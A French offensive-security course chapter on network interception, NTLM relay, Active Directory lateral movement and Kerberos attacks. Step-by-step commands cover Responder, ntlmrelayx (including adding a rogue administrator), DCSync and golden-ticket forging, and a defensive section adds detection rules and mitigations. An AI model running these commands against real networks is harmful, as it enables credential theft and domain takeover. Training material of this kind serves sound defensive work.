Chapitre 3.3 - Homme du Milieu, Usurpation et Mouvement Lateral

Module 3 : Securite Offensive et Exploitation Prerequis : Chapitre 3.2 (Techniques d'Exploitation)

Table des Matieres

Fondamentaux de l'Interception Reseau - ARP, LLMNR et NBNS
Empoisonnement ARP et MITM Couche 2
Empoisonnement LLMNR/NBT-NS et Capture NTLM
Attaques par Relais SMB - Relais de Credentials vers RCE
Usurpation DNS et Detournement BGP
Attaques IPv6 - Abus SLAAC et Usurpation DHCPv6
Mouvement Lateral dans les Environnements Active Directory
Attaques Kerberos - Kerberoasting, AS-REP Roasting et Pass-the-Ticket
Detections Defensives et Mesures d'Attenuation
Correspondance MITRE ATT&CK

1. Fondamentaux de l'Interception Reseau - ARP, LLMNR et NBNS

Les attaques de type homme du milieu positionnent un attaquant entre deux parties communicantes, permettant l'interception passive, la modification active ou la capture de credentials. Sur les reseaux Ethernet modernes, la surface d'attaque se divise en trois familles de protocoles - chacune ayant une portee, des exigences et des caracteristiques de detection differentes.

Pourquoi Ces Protocoles Sont Exploitables

Protocole	Objectif	Vulnerabilite	Portee
ARP	Associer une IP a une adresse MAC sur le segment local	Sans etat, sans authentification ; tout hote peut revendiquer n'importe quelle IP	Sous-reseau local uniquement
LLMNR	Resoudre les noms d'hotes quand le DNS echoue	Repond a toute requete ; pas de validation de la source	Sous-reseau local uniquement
NBT-NS	Resolution de noms NetBIOS (legacy)	Identique a LLMNR	Sous-reseau local uniquement
mDNS	DNS multicast (Bonjour/Avahi)	Pas d'authentification sur les annonces	Sous-reseau local uniquement
DHCPv6	Attribution d'adresses IPv6	Le serveur malveillant gagne s'il repond plus vite	Sous-reseau local uniquement
DNS	Resolution de noms globale	Empoisonnement du cache, serveur malveillant	A l'echelle du reseau

Toutes les attaques sur le segment local partagent une propriete commune : elles exploitent des protocoles broadcast/multicast non authentifies ou le premier repondant l'emporte. Il s'agit d'une caracteristique de conception, pas d'un bug - ces protocoles ont ete concus pour l'efficacite sur des LAN de confiance qui n'existent plus.

2. Empoisonnement ARP et MITM Couche 2

ARP (Address Resolution Protocol) associe les adresses IP aux adresses MAC sur un sous-reseau local. Il est completement sans etat - un hote mettra a jour son cache ARP des qu'il recevra une reponse ARP, qu'il en ait demande une ou non. Un attaquant envoie des reponses ARP gratuites en pretendant etre la passerelle par defaut (pour intercepter tout le trafic sortant) ou des hotes specifiques (pour intercepter le trafic point a point).

Empoisonnement ARP avec arpspoof

# Activer le transfert IP - CRITIQUE : sans cela, vous abandonnez tout le trafic (DoS)
echo 1 > /proc/sys/net/ipv4/ip_forward
# Rendre permanent :
sysctl -w net.ipv4.ip_forward=1
echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf

# Usurpation ARP - dire a la victime (192.168.1.100) que la passerelle (192.168.1.1) c'est nous
arpspoof -i eth0 \\\\                    # Interface
  -t 192.168.1.100 \\\\                  # IP cible (victime)
  192.168.1.1                         # IP a usurper (passerelle)
# Executer en arriere-plan : arpspoof ... &

# Usurpation ARP dans l'autre sens - dire a la passerelle que la victime c'est nous
arpspoof -i eth0 \\
  -t 192.168.1.1 \\\\                    # Cible (passerelle)
  192.168.1.100                       # IP a usurper (victime)

# Les deux directions doivent s'executer simultanement pour un MITM bidirectionnel
# Executer chacun dans un terminal separe ou les mettre en arriere-plan

Empoisonnement ARP avec Bettercap

Bettercap est la norme moderne pour les attaques MITM - il gere l'empoisonnement ARP, le sniffing et la capture de protocoles dans un cadre integre :

# Installer bettercap
apt install bettercap
# Ou : go install github.com/bettercap/bettercap@latest

# Mode interactif
bettercap -iface eth0

# Dans la console interactive bettercap :
> net.probe on                          # Decouvrir les hotes sur le sous-reseau
> net.show                              # Afficher les hotes decouverts

# Usurpation ARP d'une cible specifique
> set arp.spoof.targets 192.168.1.100   # IP de la victime
> arp.spoof on                          # Demarrer l'empoisonnement (active automatiquement le transfert IP)

# Sniffer le trafic HTTP
> net.sniff on                          # Sniffer passif
> set net.sniff.verbose true

# Proxy HTTP (inspecter/modifier le trafic HTTP en transit)
> http.proxy on
> set http.proxy.injectjs "alert('MITM')"  # Injecter du JavaScript dans toutes les pages HTTP

# Degradation / extraction HTTPS (quand HSTS n'est pas applique)
> https.proxy on

# Capturer les credentials du trafic capture
> set net.sniff.regexp ".*password.*"   # Filtrer les chaines de mot de passe
> net.sniff on

# Caplets - sessions bettercap scriptees
cat > /tmp/arp_mitm.cap << 'EOF'
net.probe on
sleep 3
set arp.spoof.targets 192.168.1.100
arp.spoof on
net.sniff on
EOF
bettercap -iface eth0 -caplet /tmp/arp_mitm.cap

Capture du Trafic Pendant le MITM

# Capturer tout le trafic entre la victime et la passerelle pendant l'empoisonnement ARP
tcpdump -i eth0 \\
  -w /tmp/mitm_capture.pcap \\
  host 192.168.1.100                  # Capturer uniquement le trafic de la victime

# Filtrer les credentials en clair dans le trafic capture
tcpdump -r /tmp/mitm_capture.pcap -A | \\
  grep -iE "password|passwd|login|credential|Authorization"

# Extraire les objets HTTP de la capture
tcpdump -r /tmp/mitm_capture.pcap -w - | \\
  tcpflow -r - -o /tmp/http_objects/   # Extraire les flux TCP

# Ou utiliser Wireshark/tshark pour une extraction tenant compte du protocole
tshark -r /tmp/mitm_capture.pcap \\
  -Y 'http.request.method == "POST"' \\
  -T fields \\
  -e ip.src -e http.host -e http.request.uri -e http.file_data

3. Empoisonnement LLMNR/NBT-NS et Capture NTLM

Link-Local Multicast Name Resolution (LLMNR) et NetBIOS Name Service (NBT-NS) sont des protocoles de resolution de noms de secours Windows utilises lorsque le DNS echoue. Quand un hote Windows ne peut pas resoudre un nom d'hote via DNS, il diffuse une requete LLMNR sur le sous-reseau. Tout hote peut repondre - y compris un attaquant.

Le flux d'attaque :

La victime tape \\fileserver\share ou une faute de frappe comme \\filesrver\docs - le DNS echoue
Windows passe en mode de diffusion LLMNR : "Qui est 'filesrver' ?"
Responder de l'attaquant repond : "Je suis 'filesrver', authentifiez-vous aupres de moi"
Windows envoie une authentification NTLM - l'attaquant capture le hachage NTLMv2
Le hachage est craque hors ligne ou relaie pour s'authentifier ailleurs

Responder - Empoisonneur LLMNR/NBT-NS/mDNS

# Responder ecoute sur une interface reseau et repond a toutes les requetes de noms
# Fichier de configuration : /etc/responder/Responder.conf

# Execution de base - capturer les hachages NTLMv2 de tous les echecs de resolution de noms
responder -I eth0 \\\\                   # Interface d'ecoute
  -rdw \\\\                              # r : repondre aux requetes NETBIOS
                                      # d : activer l'empoisonnement DHCP
                                      # w : demarrer le serveur WPAD malveillant
  -v                                  # Verbeux

# La sortie de Responder affiche les hachages captures :
# [SMB] NTLMv2-SSP Client   : 192.168.1.105
# [SMB] NTLMv2-SSP Username : CORP\\\\jsmith
# [SMB] NTLMv2-SSP Hash     : jsmith::CORP:aabbccdd...:1122334455...

# Les hachages captures sont sauvegardes dans /var/log/responder/
ls /var/log/responder/
cat /var/log/responder/SMB-NTLMv2-SSP-192.168.1.105.txt

Craquage des Hachages NTLMv2

# hashcat - craquage de hachages accelere par GPU
# Mode 5600 = NTLMv2 (NetNTLMv2)
hashcat -m 5600 \\\\                     # Type de hachage : NTLMv2
  /var/log/responder/SMB-NTLMv2-SSP-*.txt \\\\  # Fichiers de hachages captures
  /usr/share/wordlists/rockyou.txt \\\\   # Liste de mots
  -r /usr/share/hashcat/rules/best64.rule \\\\  # Appliquer des regles de mutation
  --force \\\\                            # Ignorer les avertissements
  -O                                   # Noyaux optimises (plus rapide)

# Afficher les mots de passe craques
hashcat -m 5600 /var/log/responder/SMB-NTLMv2-SSP-*.txt --show

# Attaque par regles (taux de reussite bien superieur a une simple liste de mots)
hashcat -m 5600 hashes.txt \\
  /usr/share/wordlists/rockyou.txt \\
  -r /usr/share/hashcat/rules/d3ad0ne.rule \\\\   # Regles de mutation etendues
  -r /usr/share/hashcat/rules/toggles1.rule

# Attaque par masque - quand la politique de mot de passe est connue (ex. 8+ car., 1 majuscule, 1 chiffre)
hashcat -m 5600 hashes.txt \\
  -a 3 \\\\                              # Mode d'attaque : masque
  "?u?l?l?l?l?l?d?d"                 # ?u=majuscule ?l=minuscule ?d=chiffre

# Alternative avec john the ripper
john --format=netntlmv2 \\
  --wordlist=/usr/share/wordlists/rockyou.txt \\
  /var/log/responder/SMB-NTLMv2-SSP-*.txt

4. Attaques par Relais SMB - Relais de Credentials vers RCE

Plutot que de craquer les hachages NTLMv2 (ce qui peut prendre des heures/jours pour les mots de passe forts), les attaques par relais SMB utilisent l'authentification capturee en temps reel, en la relayant vers un autre hote pour obtenir une session authentifiee - sans craquage necessaire.

Prerequis : L'hote cible doit avoir la signature SMB desactivee. Les controleurs de domaine ont la signature activee par defaut ; les postes de travail souvent non.

Configuration de l'Attaque - Responder + ntlmrelayx

# Etape 1 : Desactiver les serveurs SMB et HTTP de Responder
# (ntlmrelayx gerera ces protocoles a la place)
sed -i 's/SMB = On/SMB = Off/' /etc/responder/Responder.conf
sed -i 's/HTTP = On/HTTP = Off/' /etc/responder/Responder.conf

# Etape 2 : Constituer la liste des cibles de relais (hotes avec signature desactivee)
cme smb 192.168.1.0/24 \\
  --gen-relay-list /tmp/relay_targets.txt
# N'inclut que les hotes ou signing=False

# Etape 3 : Demarrer Responder (empoisonnement LLMNR/NBT-NS uniquement, pas de serveur SMB/HTTP)
responder -I eth0 -rdw &

# Etape 4 : Demarrer ntlmrelayx en ciblant la liste de relais
impacket-ntlmrelayx \\
  -tf /tmp/relay_targets.txt \\\\        # Liste des cibles
  -smb2support \\\\                      # Prendre en charge SMB2
  -socks                              # Creer un proxy SOCKS par session relayee
                                      # (permet la reutilisation sans re-authentification)

# Alternative : executer une commande en cas de succes du relais
impacket-ntlmrelayx \\
  -tf /tmp/relay_targets.txt \\
  -smb2support \\
  -c "net user hacker P@ssword123! /add && net localgroup administrators hacker /add"
  # Ajoute un compte administrateur local sur chaque hote relaye avec succes

# Alternative : vider la base SAM en cas de succes du relais
impacket-ntlmrelayx \\
  -tf /tmp/relay_targets.txt \\
  -smb2support \\
  --dump-lm                           # Vider les hachages SAM locaux sur chaque session relayee

Utilisation des Sessions Relayees via SOCKS

# ntlmrelayx avec -socks cree des connexions SOCKS authentifiees
# Lister les sessions relayees actives
> socks
# Sortie :
# Protocole  Cible          Utilisateur     StatutAdmin  Port
# SMB       192.168.1.150  CORP\\\\jsmith     TRUE         1081
# SMB       192.168.1.151  CORP\\\\jsmith     TRUE         1082

# Se connecter aux sessions relayees via proxychains
# /etc/proxychains4.conf: socks4 127.0.0.1 1081

proxychains impacket-secretsdump \\
  CORP/jsmith@192.168.1.150 \\
  -no-pass                            # Auth via relais SOCKS - pas de mot de passe requis

proxychains impacket-psexec \\
  CORP/jsmith@192.168.1.150 \\
  -no-pass                            # Shell interactif via relais

Relais HTTP/HTTPS (WebDAV et WPAD)

L'authentification NTLM n'est pas limitee au SMB - elle se produit egalement dans des contextes HTTP/HTTPS (WebDAV, OWA, WPAD proxy auto-config). ntlmrelayx peut relayer l'authentification HTTP vers SMB et vice versa :

# Relayer HTTP NTLM vers SMB
impacket-ntlmrelayx \\
  -tf /tmp/relay_targets.txt \\
  -smb2support \\
  --http-port 80 \\\\                    # Accepter le NTLM HTTP entrant
  -socks

# Empoisonnement WPAD - forcer tous les hotes Windows a s'authentifier aupres du proxy de l'attaquant
# Responder gere cela avec le drapeau -w :
# Windows demande http://wpad/wpad.dat - Responder pretend etre le serveur WPAD
# Windows envoie les credentials NTLM pour "s'authentifier" aupres du proxy
responder -I eth0 -rdw --wpad

5. Usurpation DNS et Detournement BGP

Empoisonnement du Cache DNS

L'empoisonnement du cache DNS injecte des enregistrements frauduleux dans le cache d'un resolveur recursif, redirigeant tous les utilisateurs de ce resolveur vers une infrastructure controlee par l'attaquant. L'attaque classique de Kaminsky (2008) exploite la previsibilite des identifiants de transaction et des ports source.

# dnschef - proxy DNS pour l'usurpation ciblee (contextes de test/pentest)
# Usurpe la resolution pour des domaines specifiques tout en transmettant les autres
dnschef \\
  --fakeip 192.168.1.50 \\\\            # IP a retourner pour les domaines usurpes
  --fakedomains "target-corp.com,*.target-corp.com" \\\\   # Domaines a usurper
  --nameservers 8.8.8.8 \\\\            # Transmettre toutes les autres requetes ici
  --interface 0.0.0.0 \\
  --port 53

# Usurpation DNS avec Bettercap (pendant ARP MITM - rediriger le DNS via votre serveur)
> set dns.spoof.domains target-corp.com,*.target-corp.com
> set dns.spoof.address 192.168.1.50    # Retourner votre IP pour les domaines usurpes
> dns.spoof on
> arp.spoof on                           # Doit etre en MITM pour intercepter les requetes DNS

# Verifier que l'usurpation DNS fonctionne du point de vue de la victime
# (sur la machine victime ou simuler avec dig via un serveur specifique)
dig @192.168.1.50 target-corp.com     # Interroger directement votre serveur DNS

Tester Votre Propre Infrastructure pour les Vulnerabilites d'Empoisonnement de Cache

# Verifier si votre resolveur randomise les ports source (patch Kaminsky)
# Faible entropie de port = vulnerable a l'empoisonnement classique du cache
dig +short @YOUR_RESOLVER example.com    # Executer plusieurs fois et capturer les temps de reponse

# Test de validation DNS Security Extensions (DNSSEC)
dig @YOUR_RESOLVER dnssec-failed.org     # Devrait retourner SERVFAIL si DNSSEC est applique
dig @YOUR_RESOLVER dnssec-failed.org +cd # Avec verification desactivee - devrait retourner des donnees

# Verifier si DNSSEC est active sur votre zone
dig @ns1.yourdomain.com yourdomain.com DNSKEY
dig @ns1.yourdomain.com yourdomain.com DS

6. Attaques IPv6 - Abus SLAAC et Usurpation DHCPv6

IPv6 est active par defaut sur tous les systemes Windows, Linux et macOS modernes - et presque universellement mal configure dans les environnements d'entreprise. La plupart des organisations disposent de controles de securite IPv4 mais pas d'equivalent pour la surveillance ou le filtrage IPv6. Les attaquants exploitent cette lacune.

mitm6 - DHCPv6 + Usurpation DNS

mitm6 exploite la preference de Windows pour IPv6 plutot qu'IPv4. Il envoie des reponses DHCPv6 en s'assignant comme passerelle IPv6 par defaut et serveur DNS. Windows utilisera alors le serveur DNS de l'attaquant pour toutes les requetes - et quand le DNS echoue, retombera sur LLMNR/NBT-NS via IPv6.

# mitm6 - repondre aux requetes DHCPv6, devenir le serveur DNS IPv6
pip install mitm6
# ou : git clone https://github.com/dirkjanm/mitm6

# Execution de base - attaquer tous les hotes sur le sous-reseau
mitm6 -d corp.local \\\\                 # Nom de domaine (pour le ciblage WPAD)
  -i eth0 \\
  -v                                  # Verbeux

# Cibler uniquement des hotes specifiques
mitm6 -d corp.local -hw WORKSTATION01 -i eth0

# mitm6 + ntlmrelayx - attaque combinee
# Terminal 1 : mitm6
mitm6 -d corp.local -i eth0

# Terminal 2 : ntlmrelayx (relayer le NTLM capture via IPv6 vers des cibles IPv4)
impacket-ntlmrelayx \\
  -6 \\\\                                # Ecouter sur IPv6
  -tf /tmp/relay_targets.txt \\\\        # Cibles IPv4 (signature desactivee)
  -smb2support \\
  -socks \\
  -wh attacker-wpad.corp.local        # Nom d'hote WPAD a servir

# Le flux :
# 1. mitm6 assigne l'attaquant comme serveur DNS IPv6 via DHCPv6
# 2. Windows demande la configuration WPAD via DNS IPv6
# 3. ntlmrelayx sert WPAD en exigeant une authentification NTLM
# 4. Windows s'authentifie - ntlmrelayx relaie vers des cibles SMB
# 5. L'attaquant obtient des sessions authentifiees sur tous les hotes sans signature

7. Mouvement Lateral dans les Environnements Active Directory

Une fois qu'un acces initial est etabli, le mouvement lateral etend l'acces a travers le reseau. Les environnements Active Directory offrent de riches opportunites de mouvement lateral car les credentials et les relations de confiance sont centralises.

Pass-the-Hash et Pass-the-Ticket

# Pass-the-Hash - utiliser le hachage NTLM sans connaitre le mot de passe en clair
# Requis : hachage NTLM d'un compte administrateur local sur la cible

# psexec (cree un service - bruyant, laisse des artefacts)
impacket-psexec \\
  "CORP/Administrator@192.168.1.150" \\
  -hashes :aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

# wmiexec (pas de creation de service - plus furtif)
impacket-wmiexec \\
  "CORP/Administrator@192.168.1.150" \\
  -hashes :NTLM_HASH_HERE \\
  "whoami /all"                       # Executer une seule commande et quitter

# smbexec (utilise les partages existants, pas de service)
impacket-smbexec \\
  "CORP/Administrator@192.168.1.150" \\
  -hashes :NTLM_HASH_HERE

# atexec (utilise le Planificateur de taches - asynchrone)
impacket-atexec \\
  "CORP/Administrator@192.168.1.150" \\
  -hashes :NTLM_HASH_HERE \\
  "net user"

# Balayage CrackMapExec - tester le hachage sur tout le sous-reseau
cme smb 192.168.1.0/24 \\
  -u Administrator \\
  -H :NTLM_HASH_HERE \\
  --local-auth \\\\                      # Utiliser le compte local (pas de domaine)
  -x "hostname"                       # Executer la commande sur tous les hotes reussis

Mouvement Lateral via WMI

Windows Management Instrumentation (WMI) permet la gestion a distance et l'execution de code - largement utilise par les administrateurs et les attaquants car il est integre et souvent autorise par les regles de pare-feu :

# wmiexec - executer des commandes via WMI (necessite des credentials ou un hachage)
impacket-wmiexec \\
  CORP/jsmith:Password123@192.168.1.150

# WMI PowerShell (depuis un hote Windows deja compromis)
Invoke-WmiMethod \\
  -ComputerName TARGET \\
  -Class Win32_Process \\
  -Name Create \\
  -ArgumentList "powershell -enc [base64_encoded_command]"

# CrackMapExec via WMI
cme wmi 192.168.1.0/24 \\
  -u jsmith -p 'Password123' \\
  -x "net localgroup administrators"  # Verifier qui est administrateur local sur chaque hote

PowerShell Remoting (WinRM)

WinRM (Windows Remote Management) fonctionne sur le port 5985 (HTTP) et 5986 (HTTPS). Les membres du groupe Remote Management Users ou les administrateurs locaux peuvent se connecter :

# Verifier l'acces WinRM avec CrackMapExec
cme winrm 192.168.1.0/24 \\
  -u jsmith -p 'Password123'
# Pwn3d! = acces WinRM + droits administrateur
# [+] = acces WinRM, non-administrateur

# evil-winrm - shell WinRM interactif
evil-winrm \\
  -i 192.168.1.150 \\
  -u jsmith \\
  -p 'Password123'
# Ou avec hachage :
evil-winrm -i 192.168.1.150 -u Administrator -H NTLM_HASH

# Dans evil-winrm :
*Evil-WinRM* PS> whoami
*Evil-WinRM* PS> upload /tmp/tool.exe C:\\\\Windows\\\\Temp\\tool.exe
*Evil-WinRM* PS> download C:\\\\Users\\\\admin\\\\Documents\\\\creds.txt
*Evil-WinRM* PS> services                            # Lister les services
*Evil-WinRM* PS> Invoke-Binary /tmp/compiled.exe     # Executer le binaire uploade

DCSync - Replication des Credentials du Domaine

DCSync abuse du protocole Directory Replication Service (DRS) pour extraire les hachages de mots de passe directement depuis un controleur de domaine sans s'y connecter. Necessite le privilege DS-Replication-Get-Changes-All - detenu par les Domain Admins, Enterprise Admins et tout compte explicitement autorise.

# DCSync avec Impacket secretsdump
impacket-secretsdump \\
  "CORP/DomainAdmin:Password@192.168.1.10" \\\\   # IP du DC
  -just-dc \\\\                                    # Extraire uniquement les secrets DC (plus rapide)
  -outputfile /tmp/dcsync_hashes               # Sauvegarder la sortie

# DCSync d'un compte specifique uniquement
impacket-secretsdump \\
  "CORP/DomainAdmin:Password@192.168.1.10" \\
  -just-dc-user "krbtgt" \\\\                      # Obtenir le hachage krbtgt (preparation Golden Ticket)
  -just-dc-user "Administrator"

# DCSync depuis Meterpreter (extension Mimikatz/Kiwi)
meterpreter > load kiwi
meterpreter > dcsync_ntlm krbtgt              # Obtenir le hachage NTLM de krbtgt
meterpreter > dcsync_ntlm Administrator       # Obtenir le hachage DA

# Sortie : hachage NTLM de krbtgt - utilise pour forger des Golden Tickets

8. Attaques Kerberos - Kerberoasting, AS-REP Roasting et Pass-the-Ticket

Kerberos est le protocole d'authentification par defaut dans Active Directory. Son architecture basee sur des tickets introduit des vecteurs d'attaque uniques qui n'existent pas dans l'authentification NTLM.

Flux des Tickets Kerberos

Client - KDC (AS-REQ) - TGT emis (chiffre avec le hachage krbtgt)
Client - KDC (TGS-REQ, presente le TGT) - Ticket de Service emis (chiffre avec le hachage du compte de service)
Client - Service (presente le Ticket de Service) - Acces accorde

L'information critique : les tickets de service sont chiffres avec le hachage NTLM du compte de service. Tout utilisateur du domaine peut demander un ticket de service pour n'importe quel SPN. Si le compte de service utilise un mot de passe faible, le ticket peut etre craque hors ligne.

Kerberoasting

# Etape 1 : Trouver les comptes avec des Service Principal Names (SPN enregistres)
# Ce sont les cibles - leurs tickets peuvent etre demandes et craques
impacket-GetUserSPNs \\
  "CORP/jsmith:Password123@192.168.1.10" \\\\   # N'importe quel credential de domaine
  -dc-ip 192.168.1.10 \\
  -request \\\\                                  # Demander aussi les tickets
  -outputfile /tmp/kerberoast_hashes.txt

# Alternative : utiliser ldapsearch (du Chapitre 3.1)
ldapsearch -x -h 192.168.1.10 \\
  -D "jsmith@corp.local" -w 'Password123' \\
  -b "DC=corp,DC=local" \\
  "(&(objectclass=user)(servicePrincipalName=*))" \\
  sAMAccountName servicePrincipalName

# Etape 2 : Craquer les tickets TGS (mode hashcat 13100 = Kerberos TGS-REP etype 23)
hashcat -m 13100 \\
  /tmp/kerberoast_hashes.txt \\
  /usr/share/wordlists/rockyou.txt \\
  -r /usr/share/hashcat/rules/best64.rule \\
  -O

# Kerberoasting depuis Windows (PowerView)
# Import-Module .\\\\PowerView.ps1
# Get-DomainUser -SPN -Properties SamAccountName,ServicePrincipalName
# Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File kerberoast.txt

AS-REP Roasting

Les comptes avec "Ne pas exiger la preauthentification Kerberos" active retourneront un message AS-REP chiffre avec le hachage du mot de passe de l'utilisateur - sans exiger aucune authentification prealable. Ce hachage peut etre craque hors ligne.

# Trouver les comptes avec la preauthentification desactivee
impacket-GetNPUsers \\
  "CORP/" \\\\                           # Domaine
  -usersfile /tmp/users.txt \\\\         # Liste de noms d'utilisateurs (de l'enumeration LDAP)
  -dc-ip 192.168.1.10 \\
  -format hashcat \\\\                   # Format de sortie pour hashcat
  -outputfile /tmp/asrep_hashes.txt \\
  -no-pass                            # Pas de credentials necessaires

# Avec credentials (plus fiable - requete LDAP pour les comptes vulnerables)
impacket-GetNPUsers \\
  "CORP/jsmith:Password123" \\
  -dc-ip 192.168.1.10 \\
  -format hashcat \\
  -outputfile /tmp/asrep_hashes.txt

# Craquer les hachages AS-REP (mode hashcat 18200 = Kerberos AS-REP etype 23)
hashcat -m 18200 \\
  /tmp/asrep_hashes.txt \\
  /usr/share/wordlists/rockyou.txt \\
  -r /usr/share/hashcat/rules/best64.rule

Pass-the-Ticket (PtT)

Les tickets Kerberos (TGTs et Tickets de Service) peuvent etre extraits de la memoire et reutilises sur d'autres machines - sans mot de passe ni hachage requis.

# Extraire les tickets de la memoire (Mimikatz sur Windows)
# sekurlsa::tickets /export       - Exporter tous les tickets vers des fichiers .kirbi
# kerberos::list /export          - Lister et exporter depuis le cache Kerberos

# Depuis Meterpreter :
meterpreter > load kiwi
meterpreter > kerberos_ticket_list    # Lister tous les tickets Kerberos en memoire
meterpreter > kerberos_ticket_use /tmp/Administrator.kirbi  # Importer un ticket

# Extraire les tickets avec Rubeus (Windows, .NET)
# .\\\\Rubeus.exe dump /nowrap           - Extraire tous les TGTs
# .\\\\Rubeus.exe tgtdeleg /nowrap       - Degrader et extraire le TGT utilisable

# Pass-the-Ticket avec Impacket
export KRB5CCNAME=/tmp/administrator.ccache   # Definir le cache de tickets
impacket-psexec \\
  -k \\\\                               # Utiliser l'authentification Kerberos
  -no-pass \\\\                         # Pas de mot de passe - utiliser le ticket
  CORP/Administrator@dc01.corp.local  # Doit utiliser le FQDN pour Kerberos

# Verifier que le ticket fonctionne
klist                                # Lister les tickets Kerberos en cache

Attaque Golden Ticket

Avec le hachage NTLM de krbtgt (obtenu via DCSync), un attaquant peut forger un Ticket Granting Ticket (TGT) pour n'importe quel utilisateur, avec n'importe quelle appartenance a un groupe, valide pour n'importe quelle duree. C'est le mecanisme de persistance AD ultime - survit aux reinitialisation de mots de passe de tous les comptes sauf krbtgt.

# Prerequis :
# - Hachage NTLM de krbtgt (de DCSync)
# - SID du domaine (de LDAP ou de la sortie de secretsdump)
# - Nom de domaine (FQDN)

# Obtenir le SID du domaine
impacket-lookupsid \\
  "CORP/jsmith:Password123@192.168.1.10"
# Sortie : CORP-S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX (SID du domaine)

# Forger un Golden Ticket avec Impacket
impacket-ticketer \\
  -nthash KRBTGT_NTLM_HASH \\\\         # Hachage krbtgt de DCSync
  -domain-sid S-1-5-21-XXXX-XXXX-XXXX \\\\  # SID du domaine
  -domain corp.local \\\\               # FQDN du domaine
  -groups 512 \\\\                      # Groupe 512 = Domain Admins
  -duration 3650 \\\\                   # Valide pendant 3650 jours
  backdoor_admin                     # Nom d'utilisateur dans le ticket (peut etre n'importe quoi)

# Utiliser le Golden Ticket
export KRB5CCNAME=backdoor_admin.ccache
impacket-psexec -k -no-pass CORP/backdoor_admin@dc01.corp.local

# Silver Ticket - forger un ticket de service pour un service specifique (plus furtif)
# Utilise le hachage du compte de service plutot que le hachage krbtgt
impacket-ticketer \\
  -nthash SERVICE_ACCOUNT_HASH \\\\     # Hachage du compte de service cible
  -domain-sid S-1-5-21-XXXX \\
  -domain corp.local \\
  -spn cifs/fileserver.corp.local \\\\  # SPN cible
  jsmith                             # Nom d'utilisateur a usurper

9. Detections Defensives et Mesures d'Attenuation

Detection de l'Empoisonnement LLMNR/NBT-NS

# Suricata - detecter les reponses LLMNR caracteristiques de Responder
alert udp any 5355 -> $HOME_NET any (
  msg:"Reponse LLMNR depuis un hote inattendu - Empoisonnement possible";
  content:"|00 00 84 00|";           # Octets du drapeau de reponse LLMNR
  threshold:type threshold, track by_src, count 5, seconds 10;
  classtype:network-scan;
  sid:9005001; rev:1;
)

# Desactiver LLMNR via la strategie de groupe (la correction appropriee)
# Configuration de l'ordinateur - Modeles d'administration - Reseau -
# Client DNS - Desactiver la resolution de noms multicast - Activer

# Desactiver NBT-NS via DHCP (option 43) ou registre :
# HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\NetBT\\\\Parameters\\\\Interfaces\\
# NetbiosOptions = 2 (desactive)

# PowerShell : desactiver NBT-NS sur tous les adaptateurs
$adapters = Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled}
foreach ($adapter in $adapters) {
    $adapter.SetTcpipNetbios(2)   # 2 = Desactiver NetBIOS sur TCP/IP
}

Detection du Kerberoasting

# Journal d'evenements Windows - Kerberoasting genere l'ID d'evenement 4769
# (Un ticket de service Kerberos a ete demande)
# Caracteristiques suspectes :
# - TicketEncryptionType = 0x17 (RC4-HMAC) - les environnements modernes utilisent AES
# - Nombreux evenements 4769 depuis une seule source en peu de temps
# - Comptes de service demandes par des comptes non-service

# Requete PowerShell pour les evenements 4769 suspects
Get-WinEvent -FilterHashtable @{
    LogName   = 'Security'
    Id        = 4769
    StartTime = (Get-Date).AddHours(-1)
} | Where-Object {
    $_.Properties[5].Value -eq '0x17'   # Chiffrement RC4
} | Select-Object TimeCreated, @{N='User';E={$_.Properties[0].Value}},
    @{N='Service';E={$_.Properties[2].Value}},
    @{N='SourceIP';E={$_.Properties[9].Value}}

Attenuation des Attaques Kerberos

# Appliquer le chiffrement AES - empeche le Kerberoasting base sur RC4 (hachages plus difficiles a craquer)
# GPO : Configuration de l'ordinateur - Parametres Windows - Parametres de securite -
# Strategies de compte - Strategie Kerberos - "Configurer les types de chiffrement autorises"
# Cocher uniquement : AES128_HMAC_SHA1, AES256_HMAC_SHA1

# Comptes de service geres (gMSA) - mots de passe de 240 caracteres a rotation automatique
# Rend le Kerberoasting computationnellement infaisable
New-ADServiceAccount -Name "svc-web" `
  -DNSHostName "svc-web.corp.local" `
  -PrincipalsAllowedToRetrieveManagedPassword "WebServers"   # Groupe de serveurs

# Activer la preauthentification Kerberos sur tous les comptes (empeche l'AS-REP Roasting)
# Dans Utilisateurs et ordinateurs AD : onglet Compte -
# Decocher "Ne pas exiger la preauthentification Kerberos"
# Correction groupee via PowerShell :
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} |
  Set-ADUser -DoesNotRequirePreAuth $false

# Proteger le compte krbtgt (empeche les attaques Golden Ticket)
# Reinitialiser le mot de passe krbtgt deux fois (invalide tous les tickets existants)
# Utiliser le script de reinitialisation krbtgt de Microsoft :
# https://github.com/microsoft/New-KrbtgtKeys.ps1
.\\\\New-KrbtgtKeys.ps1 -Mode WhatIf     # Apercu de l'impact
.\\\\New-KrbtgtKeys.ps1 -Mode Reset      # Executer (deux fois, 10 heures d'intervalle)

Detection du DCSync

# DCSync genere l'ID d'evenement 4662 (Une operation a ete effectuee sur un objet)
# avec des patterns GUID specifiques pour DS-Replication-Get-Changes-All

# Requete SIEM - detecter les comptes non-DC effectuant un DCSync
# Chercher : Evenement 4662, ObjectType contient "domainDNS"
# ET acces contient "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" (Replication des modifications d'annuaire - Toutes)
# ET SubjectUserName PAS DANS (liste des comptes machine DC)

# Microsoft Defender for Identity (anciennement ATA) detecte DCSync nativement

# Reseau : DCSync utilise MS-DRSR RPC sur le port 135 + ports dynamiques hauts
# Une machine non-DC effectuant des appels MS-DRSR sur le port 135 du DC est anormale
# Regle Suricata pour detecter :
alert tcp $HOME_NET any -> $DC_NET 135 (
  msg:"DCSync probable - RPC non-DC vers le controleur de domaine";
  flow:established,to_server;
  content:"|05 00 0b|";              # En-tete de liaison DCE/RPC
  classtype:suspicious-activity;
  sid:9005002; rev:1;
)

10. Correspondance MITRE ATT&CK

Technique	ID	Methode	Detection
Empoisonnement LLMNR/NBT-NS et relais SMB	T1557.001	Responder, ntlmrelayx	Desactiver LLMNR/NBT-NS, appliquer la signature
Empoisonnement du cache ARP	T1557.002	arpspoof, bettercap	Inspection ARP dynamique (DAI), entrees statiques
